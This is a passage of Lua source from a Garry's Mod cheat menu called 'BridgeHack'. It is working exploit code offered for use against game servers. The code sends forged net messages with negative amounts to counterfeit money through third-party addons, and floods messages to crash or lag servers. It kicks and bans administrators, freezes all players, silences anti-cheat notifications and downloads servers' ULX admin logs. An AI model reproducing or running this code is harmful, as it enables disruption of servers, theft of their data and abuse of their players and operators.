  2397.                                 net.WriteEntity( v )
  2398.  
  2399.                                 net.WriteEntity( v )
  2400.  
  2401.                                 net.WriteEntity( v )
  2402.  
  2403.                                 net.WriteString( "-100000000000000000000000000000000000000000" )
  2404.  
  2405.                         net.SendToServer()
  2406.  
  2407.                 end
  2408.  
  2409.  
  2410.  
  2411.         local CrashButton = vgui.Create("DButton", frame )
  2412.  
  2413.                 CrashButton:SetPos( 20,90 )
  2414.  
  2415.                 CrashButton:SetSize( 150,20 )
  2416.  
  2417.                 CrashButton:SetText( "Crash Server" )
  2418.  
  2419.                 CrashButton:SetTextColor( Color(0,0,0) )
  2420.  
  2421.                 CrashButton.DoClick = function()                              
  2422.  
  2423.                         for i=0, 10 do
  2424.  
  2425.                         ply:ConCommand("bh_hitmanxcrash")
  2426.  
  2427.                         end
  2428.  
  2429.                 end
  2430.  
  2431.  
  2432.  
  2433.         local InfaButton = vgui.Create("DButton", frame )
  2434.  
  2435.                 InfaButton:SetPos( 20,110 )
  2436.  
  2437.                 InfaButton:SetSize( 150,20 )
  2438.  
  2439.                 InfaButton:SetText( "Infinite Money For Everyone" )
  2440.  
  2441.                 InfaButton:SetTextColor( Color(0,0,0) )
  2442.  
  2443.                 InfaButton.DoClick = function()
  2444.  
  2445.                         ply:ConCommand("bh_hitmanxinfa")
  2446.  
  2447.                 end
  2448.  
  2449.         end):SetImage( "icon16/application_form.png" )
  2450.  
  2451.        
  2452.  
  2453.         MoneyExploits:AddOption( "[$$] HITMENU",function()
  2454.  
  2455.                 local HitPanel = vgui.Create( "DFrame" )
  2456.  
  2457.                         HitPanel:SetPos( ScrW()/5, ScrH()/10 )
  2458.  
  2459.                         HitPanel:SetSize( 300, 200 )
  2460.  
  2461.                         HitPanel:SetTitle( " " )
  2462.  
  2463.                         HitPanel:SetVisible( true )
  2464.  
  2465.                         HitPanel:SetDraggable( true )
  2466.  
  2467.                         HitPanel:ShowCloseButton( false )
  2468.  
  2469.                         HitPanel:MakePopup()
  2470.  
  2471.                         function HitPanel:Paint( w, h )
  2472.  
  2473.                                 draw.RoundedBox( 4, 0, 0, w, h, Color( 0, 0, 255,160) )
  2474.  
  2475.                                 draw.RoundedBoxEx( 4, 0, 0, w, 25, Color( 240, 85, 0, 220), true, true, false, false )
  2476.  
  2477.                                 draw.SimpleText( "BridgeHack HitHack Menu", "PopupFont", 6, 2, Color( 255,255,255 ), 0, 0 )
  2478.  
  2479.                         end
  2480.  
  2481.  
  2482.  
  2483.                 local Button = vgui.Create("DButton", HitPanel)
  2484.  
  2485.                         Button:SetPos( 250, 0 )
  2486.  
  2487.                         Button:SetSize( 50, 25 )
  2488.  
  2489.                         Button:SetText( "" )
  2490.  
  2491.                         function Button:Paint( w, h )
  2492.  
  2493.                                 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )
  2494.  
  2495.                                 draw.SimpleText( "Close", "HeaderFont", 6, 2, Color( 255,255,255 ), 0, 0 )
  2496.  
  2497.                         end
  2498.  
  2499.                         Button.DoClick = function()
  2500.  
  2501.                                 HitPanel:Close()
  2502.  
  2503.                         end    
  2504.  
  2505.  
  2506.  
  2507.                 local HitButton = vgui.Create("DButton", HitPanel)
  2508.  
  2509.                         HitButton:SetPos( 140, 100 )
  2510.  
  2511.                         HitButton:SetSize( 100, 20 )
  2512.  
  2513.                         HitButton:SetText( "Get Money" )
  2514.  
  2515.                         HitButton:SetTextColor( Color(255,255,255) )
  2516.  
  2517.                         function HitButton:Paint( w, h )
  2518.  
  2519.                                 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )
  2520.  
  2521.                         end
  2522.  
  2523.                         HitButton.DoClick = function()
  2524.  
  2525.                                 ply:ConCommand("bh_hithack")
  2526.  
  2527.                         end            
  2528.  
  2529.  
  2530.  
  2531.                 local HitSlider = vgui.Create( "DNumSlider", HitPanel )
  2532.  
  2533.                         HitSlider:SetPos( 20, 50 )
  2534.  
  2535.                         HitSlider:SetSize( 300, 40 )
  2536.  
  2537.                         HitSlider:SetText( "Money Ammount" )
  2538.  
  2539.                         HitSlider:SetMin( 0 )
  2540.  
  2541.                         HitSlider:SetMax( 1000000000 )
  2542.  
  2543.                         HitSlider:SetDecimals( 0 )
  2544.  
  2545.                         HitSlider:SetConVar( "bh_hitmenuammount" )
  2546.  
  2547.  
  2548.  
  2549.         end):SetImage( "icon16/coins_add.png" )  
  2550.  
  2551.        
  2552.  
  2553.         MoneyExploits:AddOption( "[$$] 3D Car Dealer",function()
  2554.  
  2555.                 ply:ConCommand("bh_3dcardealer_spamstore")
  2556.  
  2557.         end):SetImage( "icon16/coins_add.png" )
  2558.  
  2559.        
  2560.  
  2561.         MoneyExploits:AddOption( "[$$] VCMOD Sell-car",function()
  2562.  
  2563.                 chatP("Attempting to give money..")  
  2564.  
  2565.                 for i=0,30 do  
  2566.  
  2567.                         for i=1,10 do
  2568.  
  2569.                                 net.Start( "AttemptSellCar" )    
  2570.  
  2571.                                 net.WriteInt(  i, 8 )
  2572.  
  2573.                                 net.SendToServer()
  2574.  
  2575.                         end
  2576.  
  2577.                 end
  2578.  
  2579.         end):SetImage( "icon16/coins_add.png" )  
  2580.  
  2581.  
  2582.  
  2583.         MoneyExploits:AddOption( "[$$] BAILNPC",function()
  2584.  
  2585.                 chatP("Attempting to give money..")
  2586.  
  2587.                         net.Start( "BailOut" )
  2588.  
  2589.                         net.WriteEntity( ply )
  2590.  
  2591.                         net.WriteEntity( ply )
  2592.  
  2593.                         net.WriteFloat( -10000000000000)
  2594.  
  2595.                         net.SendToServer()
  2596.  
  2597.         end):SetImage( "icon16/coins_add.png" )
  2598.  
  2599.        
  2600.  
  2601.         MoneyExploits:AddOption("[$$] REALISTIC ATM",function()
  2602.  
  2603.                 local DermaPanel = vgui.Create( "DFrame" )
  2604.  
  2605.                 DermaPanel:SetPos( 100, 100 )
  2606.  
  2607.                 DermaPanel:SetSize( 300, 200 )
  2608.  
  2609.                 DermaPanel:SetTitle( " " )
  2610.  
  2611.                 DermaPanel:SetVisible( true )
  2612.  
  2613.                 DermaPanel:SetDraggable( true )
  2614.  
  2615.                 DermaPanel:ShowCloseButton( true )
  2616.  
  2617.                 function DermaPanel:Paint( w, h )
  2618.  
  2619.                                 draw.RoundedBox( 4, 0, 0, w, h, Color( 0, 0, 0,160) )
  2620.  
  2621.                                 draw.RoundedBoxEx( 4, 0, 0, w, 25, Color( 240, 85, 0, 220), true, true, false, false )
  2622.  
  2623.                                 draw.SimpleText( "BridgeHack Realistic ATM Hack Menu", "PopupFont", 6, 2, Color( 255,255,255 ), 0, 0 )
  2624.  
  2625.                 end
  2626.  
  2627.                 DermaPanel:MakePopup()
  2628.  
  2629.                
  2630.  
  2631.                 local TextEntry = vgui.Create( "DTextEntry", DermaPanel )
  2632.  
  2633.                 TextEntry:SetPos( 75, 30 )
  2634.  
  2635.                 TextEntry:SetSize( 150, 25 )
  2636.  
  2637.                 TextEntry:SetText( "Account num(Including the -!)" )
  2638.  
  2639.                
  2640.  
  2641.                 local BBDButton = vgui.Create( "DButton",DermaPanel )
  2642.  
  2643.                 BBDButton:SetPos( 10, 120 )
  2644.  
  2645.                 BBDButton:SetText( "Give Money" )
  2646.  
  2647.                 BBDButton:SetTextColor( Color(255,255,255) )
  2648.  
  2649.                 BBDButton:SetSize( 280, 75 )
  2650.  
  2651.                 function BBDButton:Paint( w, h )
  2652.  
  2653.                         draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,255,150) )
  2654.  
  2655.                 end
  2656.  
  2657.                 BBDButton.DoClick = function()
  2658.  
  2659.                         local accnumber = TextEntry:GetValue()
  2660.  
  2661.                         local moneytogive = GetConVarNumber("bh_ratm_money2give")
  2662.  
  2663.                         chatP("Attempting to give "..moneytogive.."$ on Account Number: "..accnumber)
  2664.  
  2665.                         net.Start("ATM_DepositMoney_C2S")
  2666.  
  2667.                                 net.WriteTable({Memo =BridgeHack.RandomVar,Num=accnumber,Amount=-moneytogive})
  2668.  
  2669.                         net.SendToServer()
  2670.  
  2671.                 end
  2672.  
  2673.                
  2674.  
  2675.                 local RenderDistance = vgui.Create( "DNumSlider", DermaPanel )
  2676.  
  2677.                 RenderDistance:SetPos( 10, 50)
  2678.  
  2679.                 RenderDistance:SetSize( 275, 25 )
  2680.  
  2681.                 RenderDistance:SetText( "Money to give" )
  2682.  
  2683.                 RenderDistance:SetMin( 0 )
  2684.  
  2685.                 RenderDistance:SetMax( 500000 )
  2686.  
  2687.                 RenderDistance:SetDecimals( 0 )
  2688.  
  2689.                 RenderDistance:SetConVar( "bh_ratm_money2give" )
  2690.  
  2691.         end):SetImage("icon16/coins_add.png")
  2692.  
  2693.        
  2694.  
  2695.         MoneyExploits:AddOption( "[$$] TOW TRUCK DRIVER",function()
  2696.  
  2697.                 chatP("Giving money..")
  2698.  
  2699.                 for k,v in pairs(ents.GetAll()) do
  2700.  
  2701.                         status("Attempting to make fine")
  2702.  
  2703.                         net.Start("TOW_SubmitWarning")
  2704.  
  2705.                                 net.WriteString(LocalPlayer():SteamID())
  2706.  
  2707.                                 net.WriteDouble(-100000000000)
  2708.  
  2709.                                 net.WriteEntity(v)
  2710.  
  2711.                                 net.SendToServer()
  2712.  
  2713.                                
  2714.  
  2715.                                 net.Start("TOW_PayTheFine")
  2716.  
  2717.                                         net.WriteEntity(v)
  2718.  
  2719.                                 net.SendToServer()
  2720.  
  2721.                 end
  2722.  
  2723.         end):SetImage( "icon16/coins_add.png" )
  2724.  
  2725.        
  2726.  
  2727. local DARKRPBASEDSUB = menu:AddSubMenu( "DarkRP Minging/Scripts" )
  2728.  
  2729.  
  2730.  
  2731.         DARKRPBASEDSUB:AddOption("[ON] Dlog Lag",function()
  2732.  
  2733.                 ply:ConCommand("bh_dlogs_lag")
  2734.  
  2735.         end):SetImage( "icon16/table_error.png" )
  2736.  
  2737.  
  2738.  
  2739.         DARKRPBASEDSUB:AddOption("[OFF] Dlog Lag",function()
  2740.  
  2741.                 ply:ConCommand("bh_dlogs_lag_off")
  2742.  
  2743.         end):SetImage( "icon16/table_add.png" )
  2744.  
  2745.  
  2746.  
  2747.         DARKRPBASEDSUB:AddOption("HitMenu Spam",function()
  2748.  
  2749.                 local ply = LocalPlayer()
  2750.  
  2751.  
  2752.  
  2753.                 local frame = vgui.Create( "DFrame" )
  2754.  
  2755.                         frame:Center()
  2756.  
  2757.                         frame:SetSize( 200,150 )
  2758.  
  2759.                         frame:SetTitle( "" )
  2760.  
  2761.                         frame:MakePopup()
  2762.  
  2763.                         frame:ShowCloseButton( false )
  2764.  
  2765.                 function frame:Paint( w, h )
  2766.  
  2767.                         draw.RoundedBox( 4, 0, 0, w, h, Color( 255, 255, 255, 150) )
  2768.  
  2769.                         draw.RoundedBoxEx( 4, 0, 0, w, 20, Color( 240, 85, 0, 220), true, true, false, false )
  2770.  
  2771.                         draw.SimpleText( "BridgeHack Hitspam", "Default", 6, 2, Color( 255,255,255 ), 0, 0 )
  2772.  
  2773.                 end
  2774.  
  2775.  
  2776.  
  2777.                 local playerMenu = vgui.Create( "DComboBox", frame )
  2778.  
  2779.                         playerMenu:SetPos( 10,40 )
  2780.  
  2781.                                 playerMenu:SetSize( 120,20 )
  2782.  
  2783.                         playerMenu:SetText( "Select a Player")
  2784.  
  2785.                 for k, v in pairs( player.GetAll() ) do
  2786.  
  2787.                         playerMenu:AddChoice( tostring( v:Name() ) )
  2788.  
  2789.                 end
  2790.  
  2791.  
  2792.  
  2793.                 local SpamHit = vgui.Create("DButton", frame )
  2794.  
  2795.                         SpamHit:SetPos( 50,70 )
  2796.  
  2797.                         SpamHit:SetSize( 100,20 )
  2798.  
  2799.                         SpamHit:SetText( "Place Dem Hits" )
  2800.  
  2801.                         SpamHit:SetTextColor( Color(0,0,0) )
  2802.  
  2803.                         SpamHit.DoClick = function()
  2804.  
  2805.                 local v = playerMenu:GetText()
  2806.  
  2807.                         for i=0, 4 do
  2808.  
  2809.                         ply:ConCommand('addhit "'..v..'" 500')
  2810.  
  2811.                         end
  2812.  
  2813.                 end
  2814.  
  2815.                
  2816.  
  2817.                 local CrashButton = vgui.Create("DButton", frame )
  2818.  
  2819.                         CrashButton:SetPos( 50,110 )
  2820.  
  2821.                         CrashButton:SetSize( 100,20 )
  2822.  
  2823.                         CrashButton:SetText( "Crash Server" )
  2824.  
  2825.                         CrashButton:SetTextColor( Color(0,0,0) )
  2826.  
  2827.                         CrashButton.DoClick = function()
  2828.  
  2829.                                 chatP("Hitmanmenu got rekt!")
  2830.  
  2831.                                 consoleP("Hitmanmenu got rekt")                        
  2832.  
  2833.                                 for i=0, 10 do
  2834.  
  2835.                                 ply:ConCommand("bh_hitmancrash")
  2836.  
  2837.                                 end
  2838.  
  2839.                 end                    
  2840.  
  2841.  
  2842.  
  2843.                 local Button = vgui.Create("DButton", frame)
  2844.  
  2845.                 Button:SetPos( 170, 0 )
  2846.  
  2847.                 Button:SetSize( 30, 20 )
  2848.  
  2849.                 Button:SetText( "Close" )
  2850.  
  2851.                 Button:SetTextColor( Color( 255, 255, 255) )
  2852.  
  2853.                 function Button:Paint( w, h )
  2854.  
  2855.                 draw.RoundedBox( 4, 0, 0, w, h, Color(0,0,0,200) )
  2856.  
  2857.                 end
  2858.  
  2859.                 Button.DoClick = function()
  2860.  
  2861.                 frame:Close()
  2862.  
  2863.                 end
  2864.  
  2865.  
  2866.  
  2867.                 local label = vgui.Create( "DLabel", frame )
  2868.  
  2869.                 label:SetPos( 10,20 )
  2870.  
  2871.                 label:SetSize( 120,20 )
  2872.  
  2873.                 label:SetTextColor( Color(0,0,0) )
  2874.  
  2875.                 label:SetText( "Select Player:" )
  2876.  
  2877.         end):SetImage("icon16/accept.png")
  2878.  
  2879.        
  2880.  
  2881.         DARKRPBASEDSUB:AddOption("TP Spawn",function()
  2882.  
  2883.                 ply:ConCommand("bh_tp_spawn")
  2884.  
  2885.         end):SetImage( "icon16/cake.png" )
  2886.  
  2887.        
  2888.  
  2889.         DARKRPBASEDSUB:AddOption("[ON] Advert Spam",function()
  2890.  
  2891.                 ply:ConCommand("bh_advert 1")
  2892.  
  2893.         end):SetImage( "icon16/bell_add.png" )
  2894.  
  2895.        
  2896.  
  2897.         DARKRPBASEDSUB:AddOption("[OFF] Advert Spam",function()
  2898.  
  2899.                 ply:ConCommand("bh_advert 0")
  2900.  
  2901.         end):SetImage( "icon16/bell_delete.png" )
  2902.  
  2903.        
  2904.  
  2905.         DARKRPBASEDSUB:AddOption("Remove looking at prop",function()
  2906.  
  2907.                 timer.Simple(0.1,function()
  2908.  
  2909.                         chatP("(This can be binded to: bh_removelookingat)")
  2910.  
  2911.                         ply:ConCommand("bh_removelookingat")
  2912.  
  2913.                 end)
  2914.  
  2915.         end):SetImage("icon16/map_delete.png")
  2916.  
  2917.        
  2918.  
  2919.         DARKRPBASEDSUB:AddOption( "[X] KUN ZIPTIES UNTIE SELF ",function()
  2920.  
  2921.                 ply:ConCommand("bh_kun_ziptie_untie")
  2922.  
  2923.         end):SetImage( "icon16/cut.png" )    
  2924.  
  2925.        
  2926.  
  2927.         DARKRPBASEDSUB:AddOption( "Open Armory", function()    
  2928.  
  2929.                 chatP("Opening armory..")    
  2930.  
  2931.                 ARMORY_WeaponMenu()    
  2932.  
  2933.         end):SetImage( "icon16/bomb.png" )
  2934.  
  2935.        
  2936.  
  2937.         DARKRPBASEDSUB:AddOption( "[ON/OFF] Spam Split Shipment / Make Shipemnt", function()
  2938.  
  2939.                 ply:ConCommand("___darkrpshipments")
  2940.  
  2941.         end):SetImage( "icon16/cut_red.png" )
  2942.  
  2943.        
  2944.  
  2945.         DARKRPBASEDSUB:AddOption( "[ON] Make everyone wanted (Cop only)", function()
  2946.  
  2947.                 timer.Create("lollol3294385", 0.2, 0, function(  )
  2948.  
  2949.                         for k,v in pairs(player.GetAll()) do
  2950.  
  2951.                                 local ligger_type = math.random(1,13)
  2952.  
  2953.                                 local ligger_type1 = math.random(1,13)
  2954.  
  2955.                                 status("Attempting Want on: " .. v:Nick() .. " - " .. v:SteamID())
  2956.  
  2957.                                 if ligger_type1 == ligger_type then
  2958.  
  2959.                                         if last_ply == v:Nick() then
  2960.  
  2961.                                                 local ligger_type = math.random(1,13)
  2962.  
  2963.                                                 local ligger_type1 = math.random(1,13)
  2964.  
  2965.                                         else
  2966.  
  2967.                                                 ply:ConCommand("darkrp wanted " .. v:Nick() .. " " .. math.random(1,999))
  2968.  
  2969.                                         end
  2970.  
  2971.                                        
  2972.  
  2973.                                         local last_ply = v:Nick()
  2974.  
  2975.                                         local ligger_type = math.random(1,13)
  2976.  
  2977.                                         local ligger_type1 = math.random(1,13)
  2978.  
  2979.                                         status("Force Wanting: " .. v:Nick())
  2980.  
  2981.                                 end
  2982.  
  2983.                         end
  2984.  
  2985.                 end)
  2986.  
  2987.         end):SetImage( "icon16/cross.png" )
  2988.  
  2989.        
  2990.  
  2991.         DARKRPBASEDSUB:AddOption( "[OFF] Make everyone wanted (Cop only)", function()
  2992.  
  2993.                 timer.Destroy("lollol3294385")
  2994.  
  2995.                 status("Stopped Want All Police")
  2996.  
  2997.         end):SetImage( "icon16/tick.png" )
  2998.  
  2999.        
  3000.  
  3001.         DARKRPBASEDSUB:AddOption( "[ON] DARKRP LAG", function()
  3002.  
  3003.                 ply:ConCommand("__bh_lagdarkrpdashit")
  3004.  
  3005.         end):SetImage( "icon16/accept.png" )
  3006.  
  3007.        
  3008.  
  3009.         DARKRPBASEDSUB:AddOption( "[OFF] DARKRP LAG", function()
  3010.  
  3011.                 ply:ConCommand("__bh_stopplag")
  3012.  
  3013.         end):SetImage( "icon16/cancel.png" )
  3014.  
  3015.        
  3016.  
  3017.         local SpoofingMenu = menu:AddSubMenu("Spoofing Scripts")
  3018.  
  3019.         SpoofingMenu:AddOption( "Spoof Player colours and physgun colours", function()
  3020.  
  3021.                 ply:ConCommand("cl_weaponcolor 0." .. math.random(1,255) .. " 0." .. math.random(1,255) .. " 0." .. math.random(1,255))
  3022.  
  3023.                 ply:ConCommand("cl_playercolor 0." .. math.random(1,255) .. " 0." .. math.random(1,255) .. " 0." .. math.random(1,255))
  3024.  
  3025.                 status("Spoofed Physgun And Player Color.")
  3026.  
  3027.         end):SetImage( "icon16/color_wheel.png" )
  3028.  
  3029.        
  3030.  
  3031.         local exploitshacks = menu:AddSubMenu("Exploits")
  3032.  
  3033.        
  3034.  
  3035.         exploitshacks:AddOption( "Bypass APAnti (Anti propkill)",function()
  3036.  
  3037.                 chatP("Bypassing Apanti..")
  3038.  
  3039.                 net.Receive("sMsgStandard", function()
  3040.  
  3041.                         print("#Bypassed by HaxRUs")
  3042.  
  3043.                 end)
  3044.  
  3045.        
  3046.  
  3047.                 net.Receive("sNotifyHit", function()
  3048.  
  3049.                
  3050.  
  3051.                 end)
  3052.  
  3053.                
  3054.  
  3055.                 net.Receive("sMsgAdmins", function()
  3056.  
  3057.                
  3058.  
  3059.                 end)
  3060.  
  3061.                
  3062.  
  3063.                 net.Receive("sAlertNotice", function()
  3064.  
  3065.                
  3066.  
  3067.                 end)
  3068.  
  3069.         end):SetImage( "icon16/link_break.png" )
  3070.  
  3071.        
  3072.  
  3073.         exploitshacks:AddOption("[NLR] [ON] Freeze Spawning",function()
  3074.  
  3075.                 ply:ConCommand("bh_nlr_freeze 1")
  3076.  
  3077.         end):SetImage( "icon16/book_error.png" )
  3078.  
  3079.        
  3080.  
  3081.         exploitshacks:AddOption("[NLR] [OFF] Freeze Spawning",function()
  3082.  
  3083.                 ply:ConCommand("bh_nlr_freeze 0")
  3084.  
  3085.         end):SetImage( "icon16/book.png" )
  3086.  
  3087.        
  3088.  
  3089.         exploitshacks:AddOption( "Steal ULX Logs ( will save to download/data/ulx_logs/" .. os.date("%m-%d-%y") .. ".txt )", function()
  3090.  
  3091.                 status("Downloading ULX LOGS")
  3092.  
  3093.                 if file.Exists("download/data/ulx_logs/" .. os.date("%m-%d-%y") .. ".txt", "GAME") == "false" then
  3094.  
  3095.                         consoleP("FILE EXISTS. REMOVE THE FILE BEFORE CONTINUEING!")
  3096.  
  3097.                 else
  3098.  
  3099.                         RequestFile(os.date( "data/" .. "ulx_logs" .. "/" .. "%m-%d-%y" .. ".txt" ))
  3100.  
  3101.                         chatP("Downloading ulx logs. OPENING " .. os.date("%m-%d-%y") .. " IN 15 SECONDS....")
  3102.  
  3103.                         timer.Simple( 15, function()
  3104.  
  3105.                                 chatP("Opened data/ulx_logs/" .. os.date("%m-%d-%y") .. ".txt")
  3106.  
  3107.                                 consoleP("**********************")
  3108.  
  3109.                                 consoleP("** SUCCESS ULX DUMP **")
  3110.  
  3111.                                 consoleP("**********************")
  3112.  
  3113.                         end)
  3114.  
  3115.                 end
  3116.  
  3117.         end ):SetImage( "icon16/lock_break.png" )
  3118.  
  3119.        
  3120.  
  3121.         exploitshacks:AddOption("[AE] KICK ADMINS+",function()
  3122.  
  3123.                 chatP("Kicking... (Will only work on admins+)")
  3124.  
  3125.                 timer.Create( "aekickdaskids", 3, 0, function()
  3126.  
  3127.                         for k,v in pairs(player.GetAll()) do
  3128.  
  3129.                                 if( v:GetUserGroup() != "user" ) then
  3130.  
  3131.                                         if( v:GetUserGroup() != "vip" ) then
  3132.  
  3133.                                                 for i=0, 700 do  
  3134.  
  3135.                                                         net.Start('plyWarning')          
  3136.  
  3137.                                                                 net.WriteEntity(v)          
  3138.  
  3139.                                                                 net.WriteString('You have to select a player before doing a action.')      
  3140.  
  3141.                                                         net.SendToServer()
  3142.  
  3143.                                                 end
  3144.  
  3145.                                                 consoleP('Attempting to kick '.. v:Nick().. "!")
  3146.  
  3147.                                         end
  3148.  
  3149.                                 end
  3150.  
  3151.                         end
  3152.  
  3153.                 end)
  3154.  
  3155.         end):SetImage("icon16/wand.png")
  3156.  
  3157.        
  3158.  
  3159.         exploitshacks:AddOption("ULX EXTENDED BAN ADMINS",function()
  3160.  
  3161.                 chatP("Banning...")
  3162.  
  3163.                 timer.Create(BridgeHack.RandomVar.."ulxextendedban",1,0,function()
  3164.  
  3165.                         for k,v in pairs(player.GetAll()) do
  3166.  
  3167.                                 if v:GetUserGroup() != "user" then -- Custom first ranks, youre fucked bro
  3168.  
  3169.                                         if v != LocalPlayer() then
  3170.  
  3171.                                                 status("Banning.. "..v:Nick())
  3172.  
  3173.                                                 net.Start("banleaver")
  3174.  
  3175.                                                         net.WriteString(v:SteamID().."{sep}".."HaxRUs Rekt You")
  3176.  
  3177.                                                 net.SendToServer()
  3178.  
  3179.                                         end
  3180.  
  3181.                                 end
  3182.  
  3183.                         end
  3184.  
  3185.                 end)
  3186.  
  3187.         end):SetImage("icon16/wand.png")
  3188.  
  3189.        
  3190.  
  3191.         exploitshacks:AddOption( " [ON] ATLAS CHAT: FREEZE EVERYBODY",function()
  3192.  
  3193.                 chatP("Freezing everybody.. (Except you)")
  3194.  
  3195.                 timer.Create("Imakelovetou"..BridgeHack.RandomVar,"3",0, function()
  3196.  
  3197.                         local trash = "";
  3198.  
  3199.                         for i=0, 15000 do
  3200.  
  3201.                                 trash = trash .. string.char(math.random(32, 126));
  3202.  
  3203.                         end
  3204.  
  3205.                        
  3206.  
  3207.                         status("Freeze wave incoming")
  3208.  
  3209.                         timer.Simple(1,function()
  3210.  
  3211.                                 status("Freeze wave done")
  3212.  
  3213.                         end)
  3214.  
  3215.                        
  3216.  
  3217.                         for i=0,3 do  
  3218.  
  3219.                                 net.Start("atlaschat.chat")
  3220.  
  3221.                                         net.WriteString("// ".. trash)
  3222.  
  3223.                                 net.SendToServer()
  3224.  
  3225.                         end
  3226.  
  3227.                 end)
  3228.  
  3229.         end):SetImage( "icon16/lock.png" )
  3230.  
  3231.        
  3232.  
  3233.         exploitshacks:AddOption( " [OFF] ATLAS CHAT: FREEZE EVERYBODY",function()
  3234.  
  3235.                 chatP("Stopping the freeze..")
  3236.  
  3237.                 timer.Destroy("Imakelovetou"..BridgeHack.RandomVar,"3",0, function()
  3238.  
  3239.                
  3240.  
  3241.                 end)  
  3242.  
  3243.         end):SetImage( "icon16/lock_open.png" )
  3244.  
  3245.        
  3246.  
  3247.         exploitshacks:AddOption( "[ON] ESSENTIALS ULX SPAM FRIENDS TABLE", function()
  3248.  
  3249.                 timer.Create("spamdafukFRIENDSULX", 2, 0, function()
  3250.  
  3251.                         local friends = {}
  3252.  
  3253.                         table.insert( friends, math.random(1,9999) )
  3254.  
  3255.                         for i = 1,6000 do
  3256.  
  3257.                                 net.Start("friendlist")
  3258.  
  3259.                                 net.WriteTable(friends)
  3260.  
  3261.                                 net.SendToServer()
  3262.  
  3263.                         end
  3264.  
  3265.                         status("PROGRESS [10000/10000]")
  3266.  
  3267.                 end)
  3268.  
  3269.         end ):SetImage( "icon16/script_error.png" )
  3270.  
  3271.        
  3272.  
  3273.         exploitshacks:AddOption( "[OFF] ESSENTIALS ULX SPAM FRIENDS TABLE", function()
  3274.  
  3275.                 timer.Destroy("spamdafukFRIENDSULX")
  3276.  
  3277.                 status("Stopped ULX SPAM FRIENDS")
  3278.  
  3279.         end):SetImage( "icon16/script.png" )
  3280.  
  3281.        
  3282.  
  3283.         exploitshacks:AddOption( "Ulx Extended TTT Weapon Spawn", function()
  3284.  
  3285.                 GiveMenu()
  3286.  
  3287.         end):SetImage( "icon16/book_key.png" )
  3288.  
  3289.        
  3290.  
  3291.         exploitshacks:AddOption( " [ON] MX RADIO KICK ADMINS",function()
  3292.  
  3293.                 chatP("Kicking admins, Including anyone who isnt a user")
  3294.  
  3295.                 ply:ConCommand("bh_mx_kickadmins")
  3296.  
  3297.                 timer.Create( "Kickthenoobs"..BridgeHack.RandomVar, 3, 0, function()
  3298.  
  3299.                         for k,v in ipairs(player.GetAll()) do
  3300.  
  3301.                                 if( v:GetUserGroup() != "user" ) then
  3302.  
  3303.                                         if v:Nick() != (ply:Nick()) then
  3304.  
  3305.                                                 for i=0, 700 do
  3306.  
  3307.                                                         net.Start( "GetCar" )
  3308.  
  3309.                                                         net.WriteEntity(v)
  3310.  
  3311.                                                         net.WriteEntity(v)
  3312.  
  3313.                                                         net.SendToServer()
  3314.  
  3315.                                                 end
  3316.  
  3317.                                                 chatP('Attempting to kick '.. v:Nick())
  3318.  
  3319.                                         end
  3320.  
  3321.                                 end
  3322.  
  3323.                         end
  3324.  
  3325.                 end)
  3326.  
  3327.         end):SetImage( "icon16/wand.png" )
  3328.  
  3329.        
  3330.  
  3331.         exploitshacks:AddOption( " [OFF] MX RADIO KICK ADMINS",function()
  3332.  
  3333.                 chatP("Stopping the kicks")
  3334.  
  3335.                 timer.Destroy( "Kickthenoobs"..BridgeHack.RandomVar, 3, 0, function() end)
  3336.  
  3337.         end):SetImage( "icon16/wand.png" )
  3338.  
  3339.        
  3340.  
  3341.         local Misc = menu:AddSubMenu(" Misc ")
  3342.  
  3343.        
  3344.  
  3345.         Misc:AddOption( "Hackable Server List",function()
  3346.  
  3347.                 ply:ConCommand("bh_serverlist")
  3348.  
  3349.         end):SetImage( "icon16/book.png" )
  3350.  
  3351.        
  3352.  
  3353.         Misc:AddOption( "Changelog",function()
  3354.  
  3355.                 ChangeLogMenu()
  3356.  
  3357.         end):SetImage( "icon16/book.png" )
  3358.  
  3359.        
  3360.  
  3361.         Misc:AddOption( "List Rank - Playername - Money",function()  
  3362.  
  3363.                 chatP( "Check Console\n" )
  3364.  
  3365.                 consoleP("(NAME)-(STEAMID)-(CASH)\n\n\n")
  3366.  
  3367.                 for k,v in pairs(player.GetAll()) do
  3368.  
  3369.                         local playermoney = (v.DarkRPVars and v.DarkRPVars.money) or 0
  3370.  
  3371.                         if v:IsAdmin() then
  3372.  
  3373.                                 consoleP("(ADMIN!) - (" .. v:Nick() .. ") - (" .. v:SteamID() .. ") - ($" .. playermoney .. ")")
  3374.  
  3375.                         else
  3376.  
  3377.                                 consoleP("(USER) - (" .. v:Nick() .. ") - (" .. v:SteamID() .. ") - ($" .. playermoney .. ")")
  3378.  
  3379.                         end
  3380.  
  3381.                 end
  3382.  
  3383.         end):SetImage( "icon16/text_align_center.png" )
  3384.  
  3385.        
  3386.  
  3387.         Misc:AddOption( "Check exploits", function()
  3388.  
  3389.         ply:ConCommand("bh_check")
  3390.  
  3391. end ):SetImage( "icon16/book_addresses.png" )
  3392.  
  3393.        
  3394.  
  3395.         Misc:AddOption( "ClientSide Lua Viewer",function()
  3396.  
  3397.                 chatP("Opening clientside lua viewer...")
  3398.  
  3399.                 ply:ConCommand("bh_lua")
  3400.  
  3401.         end):SetImage( "icon16/application_osx_terminal.png" )
  3402.  
  3403.        
  3404.  
  3405.         if ply:SteamID() == "STEAM_0:1:45153092" or ply:SteamID() == "STEAM_0:1:61639885" then
  3406.  
  3407.                 local DebugMenu = menu:AddSubMenu(" Debug Settings")
  3408.  
  3409.                 DebugMenu:AddOption(" Reset Default Config.", function()
  3410.  
  3411.                         Debug("Resetting Cheat Variables...")
  3412.  
  3413.                         ResetCvar("bh_menu_effects", 1)
  3414.  
  3415.                         ResetCvar("bh_firstload_correct", 0)
  3416.  
  3417.                         ResetCvar("bh_chat_status",0)
  3418.  
  3419.                         ResetCvar("bh_cheats_enabled_on_start", 0)
  3420.  
  3421.                         ResetCvar("bh_cheats_svlua_enabled_on_start", 0)
  3422.  
  3423.                         ResetCvar("bh_showhud", 1)
  3424.  
  3425.                         ResetCvar("bh_notify", 1)
  3426.  
  3427.                 end)
  3428.  
  3429.                
  3430.  
  3431.                 DebugMenu:AddOption(" Debug",function()
  3432.  
  3433.                         for k,v in pairs(player.GetAll()) do
  3434.  
  3435.                                 chatP(LocalPlayer():GetPos():Distance(v:GetPos()) .. " | ".. v:Nick())
  3436.  
  3437.                         end
  3438.  
